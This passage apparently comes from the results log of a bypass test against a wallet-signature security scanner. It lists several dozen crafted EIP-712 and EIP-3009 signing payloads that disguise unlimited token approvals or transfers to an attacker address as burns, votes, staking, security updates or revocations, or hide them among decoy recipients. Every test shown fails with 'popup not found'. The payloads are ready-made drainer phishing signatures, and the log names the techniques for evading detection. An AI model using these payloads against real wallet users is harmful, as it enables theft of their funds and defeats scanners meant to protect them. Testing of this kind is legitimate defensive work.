Token\",\"attributes\":[{\"key\":\"creator\",\"value\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\"},{\"key\":\"curator\",\"value\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\"},{\"key\":\"beneficiary\",\"value\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\"}]},\"allowance\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "NESTED-003", "timestamp": "2026-01-31T19:46:44.733Z", "technique": "Batch operations hiding", "category": "nested", "description": "Malicious op hidden among benign ones", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Operation\":[{\"name\":\"opType\",\"type\":\"uint8\"},{\"name\":\"target\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"}],\"BatchOps\":[{\"name\":\"sender\",\"type\":\"address\"},{\"name\":\"operations\",\"type\":\"Operation[]\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"BatchOps\",\"domain\":{\"name\":\"Batch Executor\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"sender\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"operations\":[{\"opType\":1,\"target\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"amount\":\"1000000\"},{\"opType\":1,\"target\":\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"amount\":\"2000000\"},{\"opType\":2,\"target\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},{\"opType\":1,\"target\":\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"amount\":\"500000\"}],\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "IMPERSONATE-001", "timestamp": "2026-01-31T19:46:54.299Z", "technique": "ENS update impersonation", "category": "impersonate", "description": "Looks like ENS resolver update", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SetText\":[{\"name\":\"node\",\"type\":\"bytes32\"},{\"name\":\"key\",\"type\":\"string\"},{\"name\":\"value\",\"type\":\"string\"},{\"name\":\"resolver\",\"type\":\"address\"},{\"name\":\"allowance\",\"type\":\"uint256\"}]},\"primaryType\":\"SetText\",\"domain\":{\"name\":\"ENS Public Resolver\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"node\":\"0x0000000000000000000000000000000000000000000000000000000000000000\",\"key\":\"avatar\",\"value\":\"https://example.com/avatar.png\",\"resolver\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"allowance\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "IMPERSONATE-002", "timestamp": "2026-01-31T19:47:03.860Z", "technique": "DAO vote impersonation", "category": "impersonate", "description": "Looks like casting a DAO vote", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Vote\":[{\"name\":\"proposalId\",\"type\":\"uint256\"},{\"name\":\"voter\",\"type\":\"address\"},{\"name\":\"support\",\"type\":\"bool\"},{\"name\":\"delegate\",\"type\":\"address\"},{\"name\":\"votingPower\",\"type\":\"uint256\"}]},\"primaryType\":\"Vote\",\"domain\":{\"name\":\"Governance\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"proposalId\":\"42\",\"voter\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"support\":true,\"delegate\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"votingPower\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "IMPERSONATE-003", "timestamp": "2026-01-31T19:47:13.433Z", "technique": "NFT metadata impersonation", "category": "impersonate", "description": "Looks like updating NFT metadata", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"UpdateTokenURI\":[{\"name\":\"tokenId\",\"type\":\"uint256\"},{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"newURI\",\"type\":\"string\"},{\"name\":\"royaltyRecipient\",\"type\":\"address\"},{\"name\":\"royaltyBps\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateTokenURI\",\"domain\":{\"name\":\"NFT Collection\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"tokenId\":\"1\",\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"newURI\":\"ipfs://QmExample\",\"royaltyRecipient\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"royaltyBps\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "IMPERSONATE-004", "timestamp": "2026-01-31T19:47:23.006Z", "technique": "Social recovery impersonation", "category": "impersonate", "description": "Looks like adding recovery guardian", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"AddGuardian\":[{\"name\":\"wallet\",\"type\":\"address\"},{\"name\":\"guardian\",\"type\":\"address\"},{\"name\":\"threshold\",\"type\":\"uint256\"},{\"name\":\"validUntil\",\"type\":\"uint256\"}]},\"primaryType\":\"AddGuardian\",\"domain\":{\"name\":\"Social Recovery Module\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"wallet\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"guardian\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"threshold\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validUntil\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "DECOY-001", "timestamp": "2026-01-31T19:47:32.578Z", "technique": "Address array flooding", "category": "decoy", "description": "Spender is 1 of 20 addresses", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"MultiSend\":[{\"name\":\"sender\",\"type\":\"address\"},{\"name\":\"recipients\",\"type\":\"address[]\"},{\"name\":\"amounts\",\"type\":\"uint256[]\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"MultiSend\",\"domain\":{\"name\":\"Multi Sender\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"sender\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"recipients\":[\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"0xE592427A0AEce92De3Edee1F18E0157C05861564\",\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"0x000000000022D473030F116dDEE9F6B43aC78BA3\",\"0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2\",\"0x6B175474E89094C44Da98b954EedcdCdAe53739cE\",\"0xdAC17F958D2ee523a2206206994597C13D831ec7\",\"0x027821c81bc29f8860e7a17ab759ed000c97f178\"],\"amounts\":[\"100000\",\"200000\",\"300000\",\"400000\",\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"100000\",\"200000\",\"300000\",\"400000\",\"500000\"],\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "DECOY-002", "timestamp": "2026-01-31T19:47:42.135Z", "technique": "Multi-recipient decoy", "category": "decoy", "description": "Attacker hidden among legit recipients", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Recipient\":[{\"name\":\"addr\",\"type\":\"address\"},{\"name\":\"share\",\"type\":\"uint256\"},{\"name\":\"label\",\"type\":\"string\"}],\"SplitPayment\":[{\"name\":\"payer\",\"type\":\"address\"},{\"name\":\"totalAmount\",\"type\":\"uint256\"},{\"name\":\"recipients\",\"type\":\"Recipient[]\"}]},\"primaryType\":\"SplitPayment\",\"domain\":{\"name\":\"Payment Splitter\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"payer\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"totalAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"recipients\":[{\"addr\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"share\":\"1000\",\"label\":\"Treasury\"},{\"addr\":\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"share\":\"500\",\"label\":\"Marketing\"},{\"addr\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"share\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"label\":\"Operations\"},{\"addr\":\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"share\":\"250\",\"label\":\"Dev Fund\"}]}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "VALUE-001", "timestamp": "2026-01-31T19:47:51.695Z", "technique": "Zero means unlimited", "category": "value", "description": "Value=0 but contract interprets as max", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SetLimit\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"spender\",\"type\":\"address\"},{\"name\":\"limit\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"SetLimit\",\"domain\":{\"name\":\"Spending Limits\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"spender\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"limit\":\"0\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "VALUE-002", "timestamp": "2026-01-31T19:48:01.265Z", "technique": "Negative value illusion", "category": "value", "description": "Max uint256 displayed as -1", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Adjust\":[{\"name\":\"account\",\"type\":\"address\"},{\"name\":\"operator\",\"type\":\"address\"},{\"name\":\"adjustment\",\"type\":\"int256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"Adjust\",\"domain\":{\"name\":\"Balance Adjuster\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"account\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"operator\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"adjustment\":\"-1\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "ACTION-001", "timestamp": "2026-01-31T19:48:10.836Z", "technique": "Burn that transfers", "category": "action", "description": "Looks like burning but transfers to spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Burn\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"burnAddress\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"Burn\",\"domain\":{\"name\":\"Token Burner\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"burnAddress\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "ACTION-002", "timestamp": "2026-01-31T19:48:20.401Z", "technique": "Lock that approves", "category": "action", "description": "Looks like locking tokens but approves", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"LockTokens\":[{\"name\":\"locker\",\"type\":\"address\"},{\"name\":\"lockContract\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"duration\",\"type\":\"uint256\"}]},\"primaryType\":\"LockTokens\",\"domain\":{\"name\":\"Token Locker\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"locker\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"lockContract\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"duration\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "ACTION-003", "timestamp": "2026-01-31T19:48:29.980Z", "technique": "Stake that approves", "category": "action", "description": "Looks like staking but grants approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Stake\":[{\"name\":\"staker\",\"type\":\"address\"},{\"name\":\"stakingPool\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"lockPeriod\",\"type\":\"uint256\"}]},\"primaryType\":\"Stake\",\"domain\":{\"name\":\"Staking Rewards\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"staker\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"stakingPool\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"lockPeriod\":\"31536000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "ACTION-004", "timestamp": "2026-01-31T19:48:39.542Z", "technique": "Migration to attacker", "category": "action", "description": "Looks like v2 migration but goes to attacker", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"MigrateToV2\":[{\"name\":\"holder\",\"type\":\"address\"},{\"name\":\"v2Contract\",\"type\":\"address\"},{\"name\":\"migrateAmount\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"MigrateToV2\",\"domain\":{\"name\":\"Token Migration\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"holder\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"v2Contract\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"migrateAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN69-EIP3009-022", "timestamp": "2026-01-31T19:48:49.119Z", "technique": "EIP-3009 uppercase addresses", "category": "eip3009", "description": "EIP-3009 with addresses in all uppercase (invalid checksum)", "expectedBypass": "Invalid checksum might confuse validators", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0B86991C6218B36C1D19D4A2E9EB0CE3606EB48\"},\"message\":{\"from\":\"0x027821C81BC29F8860E7A17AB759ED000C97F178\",\"to\":\"0x87EF9D8F1CEC5AFC1A46B472D068FB84E7947326\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0x9ab66fe6ac16efaf6333b64dd6dd618c2f26830317b299de1f934766000e1db5\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN69-EIP3009-054", "timestamp": "2026-01-31T19:48:58.687Z", "technique": "EIP-3009 self transfer", "category": "eip3009", "description": "EIP-3009 where from = SPENDER (attacker sending to self)", "expectedBypass": "Self-transfer might seem benign", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0x38b3e083b7169498765417dadd4d00f3ddd44f81488d62f766eed52560ec0b66\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-001", "timestamp": "2026-01-31T19:49:08.269Z", "technique": "RevokeAccess type that grants", "category": "semantic", "description": "Type named RevokeAccess but grants unlimited approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"RevokeAccess\":[{\"name\":\"account\",\"type\":\"address\"},{\"name\":\"revokedAddress\",\"type\":\"address\"},{\"name\":\"revokeAmount\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"RevokeAccess\",\"domain\":{\"name\":\"Token Security Manager\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"account\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"revokedAddress\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"revokeAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-002", "timestamp": "2026-01-31T19:49:17.850Z", "technique": "DisableWithdrawals type", "category": "semantic", "description": "Sounds like disabling but enables", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"DisableWithdrawals\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"disabledFor\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"expiry\",\"type\":\"uint256\"}]},\"primaryType\":\"DisableWithdrawals\",\"domain\":{\"name\":\"Vault Security\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"disabledFor\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"expiry\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-003", "timestamp": "2026-01-31T19:49:27.419Z", "technique": "SecurityUpdate type", "category": "semantic", "description": "Looks like security config but adds spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SecurityConfig\":[{\"name\":\"token\",\"type\":\"address\"},{\"name\":\"maxAmount\",\"type\":\"uint256\"}],\"SecurityUpdate\":[{\"name\":\"user\",\"type\":\"address\"},{\"name\":\"trustedOperator\",\"type\":\"address\"},{\"name\":\"config\",\"type\":\"SecurityConfig\"},{\"name\":\"validUntil\",\"type\":\"uint256\"}]},\"primaryType\":\"SecurityUpdate\",\"domain\":{\"name\":\"Security Manager v2\",\"version\":\"2.0\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"user\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"trustedOperator\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"config\":{\"token\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\",\"maxAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},\"validUntil\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-004", "timestamp": "2026-01-31T19:49:36.994Z", "technique": "EmergencyStop type", "category": "semantic", "description": "Emergency action that grants approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"EmergencyStop\":[{\"name\":\"initiator\",\"type\":\"address\"},{\"name\":\"emergencyContact\",\"type\":\"address\"},{\"name\":\"fundsLimit\",\"type\":\"uint256\"},{\"name\":\"activateBy\",\"type\":\"uint256\"}]},\"primaryType\":\"EmergencyStop\",\"domain\":{\"name\":\"Emergency Protocol\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"initiator\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"emergencyContact\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"fundsLimit\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"activateBy\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN1-COMBO-0", "timestamp": "2026-01-31T23:23:18.058Z", "technique": "EIP3009-combo-EURC-combining_mark-max_uint_minus_1-numeric_ts-max-mixed_case-v4", "category": "eip3009", "description": "EURC + combining_mark + max_uint_minus_1 + numeric_ts", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", 